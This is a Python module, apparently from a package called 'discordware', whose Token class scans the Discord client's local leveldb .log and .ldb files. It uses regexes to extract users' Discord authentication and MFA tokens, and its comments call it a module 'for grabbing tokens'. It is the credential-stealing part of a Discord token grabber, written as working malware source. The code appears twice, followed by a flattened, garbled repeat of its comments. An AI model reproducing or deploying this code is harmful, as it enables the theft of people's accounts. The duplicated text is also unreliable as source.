#                   Copyright (c) 2021 Zenqi

# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:

# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.

# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.

# TODO: This module is used for grabbing tokens.

import pathlib
import re
import os
import random


class Token:
    """
    A base class for grabbing and accessing tokens.
    :Return: List of tokens

    Parameters:
    ---
        path (str):
            The path of the discord database.

    Example:
    ---
        >>> from discordware import Token, DiscordPath
        >>> token = Token(path=DiscordPath().leveldb)
        >>> print(token()) # or print(token.token)

    """

    __tokens: list = []

    def __init__(self, path: str):
        self.path: str = path
        self.__get_tokens()

    def __get_tokens(self):
        """
        Get the token from the given leveldb.
        """
        for filepath in pathlib.Path(self.path).glob("**/*"):
            # TODO: GET all files from the given directory
            file = str(filepath.absolute())
            filename = os.path.basename(file)

            if not filename.endswith(".log") and not filename.endswith(".ldb"):
                continue

            for line in [
                i.strip() for i in open(file, errors="ignore").readlines() if i.strip()
            ]:
                # TODO: Extract the file and get the token.
                for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
                    for token in re.findall(regex, line):
                        self.__tokens.append(token)

    @property
    def token(self):
        return self.__tokens

    @property
    def random_token(self):
        random.choice(self.__tokens)

    def __call__(self):
        return self.__tokens

#                   Copyright (c) 2021 Zenqi

# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:

# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.

# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.

# TODO: This module is used for grabbing tokens.

import pathlib
import re
import os
import random


class Token:
    """
    A base class for grabbing and accessing tokens.
    :Return: List of tokens

    Parameters:
    ---
        path (str):
            The path of the discord database.

    Example:
    ---
        >>> from discordware import Token, DiscordPath
        >>> token = Token(path=DiscordPath().leveldb)
        >>> print(token()) # or print(token.token)

    """

    __tokens: list = []

    def __init__(self, path: str):
        self.path: str = path
        self.__get_tokens()

    def __get_tokens(self):
        """
        Get the token from the given leveldb.
        """
        for filepath in pathlib.Path(self.path).glob("**/*"):
            # TODO: GET all files from the given directory
            file = str(filepath.absolute())
            filename = os.path.basename(file)

            if not filename.endswith(".log") and not filename.endswith(".ldb"):
                continue

            for line in [
                i.strip() for i in open(file, errors="ignore").readlines() if i.strip()
            ]:
                # TODO: Extract the file and get the token.
                for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
                    for token in re.findall(regex, line):
                        self.__tokens.append(token)

    @property
    def token(self):
        return self.__tokens

    @property
    def random_token(self):
        random.choice(self.__tokens)

    def __call__(self):
        return self.__tokens

#                   Copyright (c) 2021 Zenqi # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # TODO: This module is used for grabbing tokens. A base class for grabbing and accessing tokens.     :Return: List of tokens      Parameters:     ---         path (str):             The path of the discord database.      Example:     ---         >>> from discordware import Token, DiscordPath         >>> token = Token(path=DiscordPath().leveldb)         >>> print(token()) # or print(token.token) Get the token from the given leveldb. # TODO: GET all files from the given directory # TODO: Extract the file and get the token.